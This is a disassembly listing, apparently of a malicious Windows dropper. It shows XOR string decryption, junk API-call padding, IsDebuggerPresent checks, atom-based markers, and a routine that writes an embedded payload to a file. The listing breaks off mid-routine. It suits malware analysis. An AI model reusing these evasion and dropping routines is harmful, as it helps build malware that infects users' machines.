		mov	[ebp+var_2058],	78C1h
		add	[ebp+var_2058],	3550h
		test	eax, eax
		jnz	loc_403269
		mov	[ebp+var_205C],	1FC2h
		add	[ebp+var_205C],	61DDh
		cmp	[ebp+arg_0], 0
		jz	loc_403233
		lea	edi, [ebp+Buffer.dwTotalVirtual]
		lea	esi, byte_43D134
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp+var_1014]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0E9h
		jz	short loc_403085
		call	GetLastError
		cmp	[ebp+arg_0], 1
		jz	loc_403269
		jmp	loc_403233
; ---------------------------------------------------------------------------


loc_403085:				; CODE XREF: sub_402A48+627j
		mov	eax, [ebp+var_1014]
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp+var_2024],	eax
		mov	[ebp+Buffer.dwTotalVirtual+3], 14DFh
		mov	eax, 61CEh
		mul	[ebp+Buffer.dwTotalVirtual+3]
		mov	[ebp+var_2588],	eax
		mov	[ebp+Buffer.dwTotalVirtual+3], eax
		mov	byte ptr [ebp+Buffer.dwAvailVirtual+3],	0


loc_4030C7:				; CODE XREF: sub_402A48+71Cj
		sub	[ebp+var_2024],	5
		mov	eax, [ebp+var_2024]
		mov	[ebp+var_4], eax


loc_4030D7:				; CODE XREF: sub_402A48+6C8j
		mov	eax, [ebp+var_4]
		mov	edx, eax
		dec	edx
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		mov	edx, eax
		sub	edx, 2
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		mov	edx, eax
		sub	edx, 3
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		mov	edx, eax
		sub	edx, 4
		cmp	byte ptr [edx],	0
		jnz	short loc_403108
		sub	eax, 5
		cmp	byte ptr [eax],	0
		jz	short loc_403112


loc_403108:				; CODE XREF: sub_402A48+698j
					; sub_402A48+6A2j ...
		call	GetVersion	; GetVersion
		dec	[ebp+var_4]
		jmp	short loc_4030D7
; ---------------------------------------------------------------------------


loc_403112:				; CODE XREF: sub_402A48+6BEj
		movzx	edi, byte ptr [ebp+Buffer.dwAvailVirtual+3]
		shl	edi, 2
		mov	esi, [ebp+var_4]
		mov	[ebp+edi+var_2580], esi
		add	byte ptr [ebp+Buffer.dwAvailVirtual+3],	1
		movzx	eax, byte ptr [esi]
		cmp	eax, 0E9h
		jnz	short loc_403169
		mov	[ebp+var_258A],	7AC6h
		add	[ebp+var_258A],	2581h
		mov	eax, esi
		mov	edx, ds:1[eax]
		sub	edx, 0FFFFFFFFh
		lea	eax, [edx+eax+4]
		mov	[ebp+var_2024],	eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		jmp	loc_4030C7
; ---------------------------------------------------------------------------


loc_403169:				; CODE XREF: sub_402A48+6EDj
		mov	ebx, [ebp+var_4]
		jmp	short loc_4031A0
; ---------------------------------------------------------------------------


loc_40316E:				; CODE XREF: sub_402A48+75Ej
		mov	[ebp+var_258A],	135Dh
		movzx	eax, [ebp+var_258A]
		imul	eax, 5BAAh
		mov	[ebp+var_258A],	ax
		mov	eax, [ebp+var_1014]
		add	eax, ebx
		sub	eax, [ebp+var_4]
		mov	dl, [ebx]
		mov	[eax], dl
		call	GetCurrentProcessId	; GetCurrentProcessId
		inc	ebx


loc_4031A0:				; CODE XREF: sub_402A48+724j
		cmp	ebx, [ebp+var_2024]
		jb	short loc_40316E


loc_4031A8:				; CODE XREF: sub_402A48+7D0j
		sub	byte ptr [ebp+Buffer.dwAvailVirtual+3],	1
		movzx	edi, byte ptr [ebp+Buffer.dwAvailVirtual+3]
		shl	edi, 2
		mov	ebx, [ebp+edi+var_2580]


loc_4031C0:				; CODE XREF: sub_402A48+7C5j
		mov	byte ptr [ebx],	0
		call	GetTickCount	; GetTickCount
		cmp	byte ptr ds:1[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:2[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:3[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:4[ebx], 0
		jnz	short loc_4031FA
		cmp	byte ptr ds:5[ebx], 0
		jz	short loc_40320F


loc_4031FA:				; CODE XREF: sub_402A48+788j
					; sub_402A48+792j ...
		mov	word ptr [ebp+Buffer.dwTotalVirtual+1],	7E10h
		add	word ptr [ebp+Buffer.dwTotalVirtual+1],	504Ch
		inc	ebx
		jmp	short loc_4031C0
; ---------------------------------------------------------------------------


loc_40320F:				; CODE XREF: sub_402A48+7B0j
		movzx	eax, byte ptr [ebp+Buffer.dwAvailVirtual+3]
		or	eax, eax
		jg	short loc_4031A8
		cmp	[ebp+arg_0], 1
		jz	short loc_403269
		lea	edi, [ebp+var_2583]
		lea	esi, byte_43D135
		mov	ecx, 3
		rep movsb


loc_403233:				; CODE XREF: sub_402A48+602j
					; sub_402A48+638j
		movzx	eax, [ebp+var_1015]
		push	eax
		push	[ebp+lpAddress]
		push	[ebp+var_2034]
		call	sub_402843
		add	esp, 0Ch
		mov	[ebp+var_2051],	0C0h
		movzx	eax, [ebp+var_2051]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2051],	al


loc_403269:				; CODE XREF: sub_402A48+5E4j
					; sub_402A48+632j ...
		cmp	[ebp+var_2025],	0
		jz	short loc_4032B9
		call	GetLastError
		and	[ebp+var_1014],	0


loc_40327E:				; CODE XREF: sub_402A48+865j
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+lp]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		mov	edx, [ebp+edi+var_2020]
		mov	[esi+edi], edx
		inc	[ebp+var_1014]
		cmp	[ebp+var_1014],	400h
		jb	short loc_40327E
		call	GetVersion	; GetVersion
		jmp	loc_402CB4
; ---------------------------------------------------------------------------


loc_4032B9:				; CODE XREF: sub_402A48+122j
					; sub_402A48+351j ...
		add	[ebp+var_1015],	1
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	off_43CE7C[edi], 0
		jnz	loc_402B58
		call	GetCurrentThreadId	; GetCurrentThreadId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402A48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4032E2(void *Src, size_t Size)

sub_4032E2	proc near		; CODE XREF: sub_40341E+37p
					; sub_40349A+44p

var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_43D140
		lea	eax, ds:41D8B0h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403322
; ---------------------------------------------------------------------------


loc_403308:				; CODE XREF: sub_4032E2+42j
		mov	eax, dword_43D140
		add	eax, edi
		lea	eax, ds:41D8B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0AFh
		mov	[eax], dl
		inc	edi


loc_403322:				; CODE XREF: sub_4032E2+24j
		cmp	edi, esi
		jl	short loc_403308
		mov	eax, dword_43D140
		add	eax, esi
		mov	byte ptr dword_41D8B0[eax], 0
		mov	edi, dword_43D140
		add	dword_43D140, 3
		mov	eax, dword_43D140
		add	eax, 5
		add	eax, esi
		mov	dword_43D140, eax
		cmp	eax, 0DC9h
		jle	short loc_40335F
		and	dword_43D140, 0


loc_40335F:				; CODE XREF: sub_4032E2+74j
		mov	[ebp+var_4], 116h
		lea	eax, dword_41D8B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_4032E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403370	proc near		; CODE XREF: sub_40341E+19p
					; sub_40349A+33p

var_F		= byte ptr -0Fh
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	GetVersion	; GetVersion
		call	GetTickCount	; GetTickCount
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_40338B:				; CODE XREF: sub_403370+20j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40338B
		mov	edi, eax
		mov	[ebp+var_6], di
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_4033C6
; ---------------------------------------------------------------------------


loc_4033A2:				; CODE XREF: sub_403370+5Cj
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [ebx+eax], 5Ch
		jnz	short loc_4033C2
		call	IsDebuggerPresent	; IsDebuggerPresent
		inc	[ebp+var_2]
		lea	edi, [ebp+var_F]
		lea	esi, dword_43D144
		movsd
		movsd
		jmp	short loc_4033CE
; ---------------------------------------------------------------------------


loc_4033C2:				; CODE XREF: sub_403370+3Aj
		dec	[ebp+var_2]


loc_4033C6:				; CODE XREF: sub_403370+30j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_4033A2


loc_4033CE:				; CODE XREF: sub_403370+50j
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_40340B
		mov	[ebp+var_4], 0
		jmp	short loc_4033F9
; ---------------------------------------------------------------------------


loc_4033E0:				; CODE XREF: sub_403370+99j
		movzx	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		movzx	ecx, [ebp+var_2]
		mov	esi, eax
		add	esi, ecx
		mov	cl, [ebx+esi]
		mov	[edx+eax], cl
		inc	[ebp+var_4]


loc_4033F9:				; CODE XREF: sub_403370+6Ej
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_4033E0


loc_40340B:				; CODE XREF: sub_403370+66j
		lea	edi, [ebp+var_7]
		lea	esi, byte_43D14C
		xor	ecx, ecx
		inc	ecx
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40341E	proc near		; CODE XREF: sub_403A5F+7Dp
					; sub_403BE7+24Ep ...

var_10A		= word ptr -10Ah
var_108		= word ptr -108h
String		= byte ptr -106h
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	eax, [ebp+String]
		push	eax
		push	[ebp+arg_0]
		call	sub_403370
		mov	[ebp+var_108], 1417h
		add	[ebp+var_108], 7A22h
		push	2		; Size
		push	offset word_44758A ; Src
		call	sub_4032E2
		push	eax		; Source
		lea	edi, [ebp+String]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 18h
		mov	[ebp+var_2], 4444h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	GlobalAddAtomA	; GlobalAddAtomA
		mov	ax, word_43D14D
		mov	[ebp+var_10A], ax
		pop	edi
		leave
		retn
sub_40341E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40349A	proc near		; CODE XREF: sub_4098A8+2D8p
					; sub_4098A8+388p ...

var_112		= byte ptr -112h
var_10C		= dword	ptr -10Ch
var_108		= word ptr -108h
var_106		= word ptr -106h
String		= byte ptr -104h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	ebx
		push	esi
		push	edi
		mov	ax, word_43D14F
		mov	[ebp+var_108], ax
		mov	eax, dword_43D151
		mov	[ebp+var_10C], eax
		call	GetCurrentThreadId	; GetCurrentThreadId
		lea	eax, [ebp+String]
		push	eax
		push	[ebp+arg_0]
		call	sub_403370
		call	GetTickCount	; GetTickCount
		push	2		; Size
		push	offset word_44758A ; Src
		call	sub_4032E2
		push	eax		; Source
		lea	edi, [ebp+String]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 18h
		call	GetLastError


loc_4034F8:				; CODE XREF: sub_40349A+AEj
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	GlobalFindAtomA	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp+var_106], di
		lea	edi, [ebp+var_112]
		lea	esi, byte_43D155
		mov	ecx, 3
		rep movsw
		cmp	[ebp+var_106], 0
		jz	short loc_40354A
		mov	ebx, 4056h
		add	ebx, 1CB6h
		movzx	eax, [ebp+var_106]
		push	eax		; nAtom
		call	GlobalDeleteAtom	; GlobalDeleteAtom
		call	GetProcessHeap	; GetProcessHeap
		jmp	short loc_4034F8
; ---------------------------------------------------------------------------


loc_40354A:				; CODE XREF: sub_40349A+8Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40349A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40354F(void *Src, size_t Size)

sub_40354F	proc near		; CODE XREF: sub_4035DB+A0p
					; sub_4036BC+34p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		mov	[ebp+var_4], 1EAh
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_43D164
		lea	eax, ds:40E180h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403597
; ---------------------------------------------------------------------------


loc_40357D:				; CODE XREF: sub_40354F+4Aj
		mov	eax, dword_43D164
		add	eax, edi
		lea	eax, ds:40E180h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D3h
		mov	[eax], dl
		inc	edi


loc_403597:				; CODE XREF: sub_40354F+2Cj
		cmp	edi, esi
		jl	short loc_40357D
		mov	[ebp+var_8], 278h
		mov	eax, dword_43D164
		add	eax, esi
		mov	byte ptr dword_40E180[eax], 0
		mov	edi, dword_43D164
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43D164, eax
		cmp	eax, 0DCEh
		jle	short loc_4035D1
		and	dword_43D164, 0


loc_4035D1:				; CODE XREF: sub_40354F+79j
		lea	eax, dword_40E180[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40354F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4035DB(int Val, char *Dest, char *Source)

sub_4035DB	proc near		; CODE XREF: sub_4036BC+41p

var_3F		= byte ptr -3Fh
var_38		= byte ptr -38h
DstBuf		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
Val		= dword	ptr  8
Dest		= dword	ptr  0Ch
Source		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+Dest]
		lea	edi, [ebp+var_38]
		lea	esi, byte_43D168
		mov	ecx, 3
		rep movsb
		lea	edi, [ebp+var_3F]
		lea	esi, byte_43D16B
		mov	ecx, 7
		rep movsb
		call	GetVersion	; GetVersion
		mov	eax, dword_43D15C
		inc	eax
		push	eax		; Radix
		lea	eax, [ebp+DstBuf]
		push	eax		; DstBuf
		push	[ebp+Val]	; Val
		call	_itoa	; _itoa
		add	esp, 0Ch
		call	GetTickCount	; GetTickCount
		lea	ecx, [ebp+DstBuf]
		or	eax, 0FFFFFFFFh


loc_40362D:				; CODE XREF: sub_4035DB+57j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40362D
		mov	edx, eax
		mov	[ebp+var_2], dl
		call	GetLastError
		mov	[ebp+var_1], 0
		jmp	short loc_40365A
; ---------------------------------------------------------------------------


loc_403644:				; CODE XREF: sub_4035DB+89j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+DstBuf]
		mov	[ebx+edx], al
		add	[ebp+var_1], 1


loc_40365A:				; CODE XREF: sub_4035DB+67j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_403644
		movzx	eax, [ebp+var_2]
		mov	byte ptr [ebx+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_40368E
; ---------------------------------------------------------------------------


loc_403674:				; CODE XREF: sub_4035DB+C4j
		push	1		; Size
		push	offset byte_447588 ; Src
		call	sub_40354F
		push	eax		; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 10h
		add	[ebp+var_3], 1


loc_40368E:				; CODE XREF: sub_4035DB+97j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_403674
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	[ebp+Source]	; Source
		push	ebx		; Dest
		call	strcat	; strcat
		add	esp, 8
		call	GetTickCount	; GetTickCount
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4035DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4036BC(int Val)

sub_4036BC	proc near		; CODE XREF: sub_40AA24+694p

var_3C		= byte ptr -3Ch
Dest		= byte ptr -36h
var_4		= word ptr -4
var_1		= byte ptr -1
Val		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, 65DBh
		sub	ebx, 2975h
		lea	edi, [ebp+var_3C]
		lea	esi, word_43D172
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_1], 1Bh
		sub	[ebp+var_1], 0FBh
		push	1		; Size
		push	offset word_447586 ; Src
		call	sub_40354F
		push	eax		; Source
		lea	edi, [ebp+Dest]
		push	edi		; Dest
		push	[ebp+Val]	; Val
		call	sub_4035DB
		add	esp, 14h
		mov	[ebp+var_4], 23Ah
		sub	[ebp+var_4], 4D70h
		lea	eax, [ebp+Dest]
		push	eax		; lpString
		call	GlobalAddAtomA	; GlobalAddAtomA
		mov	ebx, 858h
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40372A(void *Src, size_t Size)

sub_40372A	proc near		; CODE XREF: sub_4037CA+37p
					; .text:0040389Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_43D180
		lea	eax, ds:40F6E0h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_403768
; ---------------------------------------------------------------------------


loc_403751:				; CODE XREF: sub_40372A+40j
		mov	eax, dword_43D180
		add	eax, edi
		lea	eax, ds:40F6E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 75h
		mov	[eax], dl
		inc	edi


loc_403768:				; CODE XREF: sub_40372A+25j
		cmp	edi, esi
		jl	short loc_403751
		mov	[ebp+var_4], 2E3h
		mov	eax, dword_43D180
		add	eax, esi
		mov	byte ptr dword_40F6E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43D180
		inc	dword_43D180
		mov	eax, dword_43D180
		add	eax, 5
		add	eax, esi
		mov	dword_43D180, eax
		add	dword_43D180, 2
		cmp	dword_43D180, 0DF6h
		jle	short loc_4037B9
		and	dword_43D180, 0


loc_4037B9:				; CODE XREF: sub_40372A+86j
		mov	[ebp+var_8], 1Ch
		lea	eax, dword_40F6E0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40372A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4037CA(char *Format, char *Source)

sub_4037CA	proc near		; CODE XREF: sub_40AA24+728p
					; sub_40AA24+74Fp

var_10A		= word ptr -10Ah
var_108		= word ptr -108h
var_106		= word ptr -106h
String		= byte ptr -104h
Format		= dword	ptr  8
Source		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	edi
		mov	[ebp+var_106], 56C6h
		sub	[ebp+var_106], 2AE0h
		call	GetTickCount	; GetTickCount
		push	[ebp+Format]	; Format
		lea	eax, [ebp+String]
		push	eax		; Dest
		call	sprintf	; sprintf
		push	1		; Size
		push	offset byte_447584 ; Src
		call	sub_40372A
		push	eax		; Source
		lea	edi, [ebp+String]
		push	edi		; Dest
		call	strcat	; strcat
		mov	[ebp+var_108], 14CDh
		sub	[ebp+var_108], 24h
		push	[ebp+Source]	; Source
		lea	eax, [ebp+String]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 20h
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	GlobalAddAtomA	; GlobalAddAtomA
		mov	[ebp+var_10A], 31AAh
		movzx	eax, [ebp+var_10A]
		imul	eax, 32E4h
		mov	[ebp+var_10A], ax
		pop	edi
		leave
		retn
sub_4037CA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	esi
		push	edi
		lea	edi, [ebp-10Dh]
		lea	esi, dword_43D184
		mov	ecx, 7
		rep movsb
		push	dword ptr [ebp+8]
		lea	eax, [ebp-104h]
		push	eax
		call	sprintf	; sprintf
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	1
		push	offset byte_447584
		call	sub_40372A
		push	eax
		lea	edi, [ebp-104h]
		push	edi
		call	strcat	; strcat
		call	GetLastError
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-104h]
		push	eax
		call	strcat	; strcat
		add	esp, 20h


loc_4038C4:				; CODE XREF: .text:00403908j
		lea	eax, [ebp-104h]
		push	eax
		call	GlobalFindAtomA	; GlobalFindAtomA
		mov	edi, eax
		mov	[ebp-106h], di
		cmp	word ptr [ebp-106h], 0
		jz	short loc_40390A
		lea	edi, [ebp-110h]
		lea	esi, byte_43D18B
		mov	ecx, 3
		rep movsb
		movzx	eax, word ptr [ebp-106h]
		push	eax
		call	GlobalDeleteAtom	; GlobalDeleteAtom
		call	GetTickCount	; GetTickCount
		jmp	short loc_4038C4
; ---------------------------------------------------------------------------


loc_40390A:				; CODE XREF: .text:004038E1j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40390E(void *Src, size_t Size)

sub_40390E	proc near		; CODE XREF: sub_40399B+82p
					; sub_403A5F+58p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		mov	[ebp+var_4], 200h
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_43D198
		lea	eax, ds:41E9E0h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_8], 100h
		xor	edi, edi
		jmp	short loc_40395D
; ---------------------------------------------------------------------------


loc_403943:				; CODE XREF: sub_40390E+51j
		mov	eax, dword_43D198
		add	eax, edi
		lea	eax, ds:41E9E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi


loc_40395D:				; CODE XREF: sub_40390E+33j
		cmp	edi, esi
		jl	short loc_403943
		mov	eax, dword_43D198
		add	eax, esi
		mov	byte ptr dword_41E9E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43D198
		mov	eax, edi
		lea	eax, [eax+esi+1]
		mov	dword_43D198, eax
		cmp	eax, 0DCCh
		jle	short loc_403991
		and	dword_43D198, 0


loc_403991:				; CODE XREF: sub_40390E+7Aj
		lea	eax, dword_41E9E0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40390E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40399B(char *Dest)

sub_40399B	proc near		; CODE XREF: sub_403A5F+34p
					; sub_403BE7+139p ...

var_100B	= byte ptr -100Bh
VolumeSerialNumber= dword ptr -1008h
RootPathName	= byte ptr -1003h
var_1000	= byte ptr -1000h
FileSystemFlags	= dword	ptr -4
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+Dest]
		lea	edi, [ebp+var_100B]
		lea	esi, word_4421BE
		mov	ecx, 3
		rep movsb
		push	0FFFh		; uSize
		lea	eax, [ebp+RootPathName]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA	; GetSystemDirectoryA
		call	GetTickCount	; GetTickCount
		mov	[ebp+var_1000],	0
		push	0FFFh		; nFileSystemNameSize
		lea	eax, [ebp+RootPathName]
		push	eax		; lpFileSystemNameBuffer
		lea	eax, [ebp+FileSystemFlags]
		push	eax		; lpFileSystemFlags
		lea	eax, [ebp+FileSystemFlags]
		push	eax		; lpMaximumComponentLength
		lea	eax, [ebp+VolumeSerialNumber]
		push	eax		; lpVolumeSerialNumber
		push	0FFFh		; nVolumeNameSize
		lea	eax, [ebp+RootPathName]
		push	eax		; lpVolumeNameBuffer
		lea	eax, [ebp+RootPathName]
		push	eax		; lpRootPathName
		call	GetVolumeInformationA	; GetVolumeInformationA
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	4		; Size
		push	offset byte_44757F ; Src
		call	sub_40390E
		push	[ebp+VolumeSerialNumber]
		push	eax		; Format
		push	ebx		; Dest
		call	sprintf	; sprintf
		add	esp, 14h
		call	GetCurrentThreadId	; GetCurrentThreadId
		and	[ebp+FileSystemFlags], 0


loc_403A3B:				; CODE XREF: sub_40399B+BDj
		mov	eax, [ebp+FileSystemFlags]
		mov	al, [ebx+eax]
		cmp	al, 41h
		jge	short loc_403A51
		cmp	al, 30h
		jle	short loc_403A51
		mov	eax, [ebp+FileSystemFlags]
		add	eax, ebx
		add	byte ptr [eax],	11h


loc_403A51:				; CODE XREF: sub_40399B+A8j
					; sub_40399B+ACj
		inc	[ebp+FileSystemFlags]
		cmp	[ebp+FileSystemFlags], 8
		jb	short loc_403A3B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40399B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A5F	proc near		; CODE XREF: sub_40AA24+7D2p

var_28F		= byte ptr -28Fh
var_28A		= byte ptr -28Ah
NumberOfBytesWritten= dword ptr	-284h
var_27D		= dword	ptr -27Dh
var_279		= byte ptr -279h
var_273		= byte ptr -273h
var_26C		= byte ptr -26Ch
Source		= byte ptr -26Bh
Dest		= byte ptr -167h
var_103		= byte ptr -103h
var_102		= word ptr -102h
FileName	= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 290h
		push	ebx
		push	esi
		push	edi
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	edi, [ebp+var_26C]
		lea	esi, byte_4421C1
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	ebx, 1763h
		add	ebx, 25D9h
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	sub_40399B
		call	GetProcessHeap	; GetProcessHeap
		lea	edi, [ebp+var_273]
		lea	esi, word_4421C2
		mov	ecx, 7
		rep movsb
		push	9		; Size
		push	offset byte_447575 ; Src
		call	sub_40390E
		lea	edi, [ebp+Dest]
		push	edi
		push	offset Buffer
		push	eax		; Format
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	sprintf	; sprintf
		lea	eax, [ebp+FileName]
		push	eax
		call	sub_40341E
		lea	edi, [ebp+var_279]
		lea	esi, byte_4421C9
		mov	ecx, 3
		rep movsw
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	2		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	CreateFileA	; CreateFileA
		mov	ebx, eax
		mov	eax, dword_4421CF
		mov	[ebp+var_27D], eax
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	3621h		; nNumberOfBytesToWrite
		push	offset byte_43EB9D ; lpBuffer
		push	ebx		; hFile
		call	WriteFile	; WriteFile
		lea	edi, [ebp+var_28A]
		lea	esi, byte_4421D3
		mov	ecx, 3
		rep movsw
		push	ebx		; hObject
		call	CloseHandle	; CloseHandle
		call	IsDebuggerPresent	; IsDebuggerPresent
		lea	edi, [ebp+var_28F]
		lea	esi, byte_4421D9
		mov	ecx, 5
		rep movsb
		push	104h		; nSize
		lea	eax, [ebp+Source]
		push	eax		; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA	; GetModuleFileNameA
		mov	[ebp+var_102], 0C80h
		sub	[ebp+var_102], 4F02h
		push	1		; Size
		push	offset byte_447573 ; Src
		call	sub_40390E
		push	eax		; Source
		lea	edi, [ebp+FileName]
		push	edi		; Dest
		call	strcat	; strcat
		mov	[ebp+var_103], 94h
		add	[ebp+var_103], 1
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+FileName]
		push	eax		; Dest
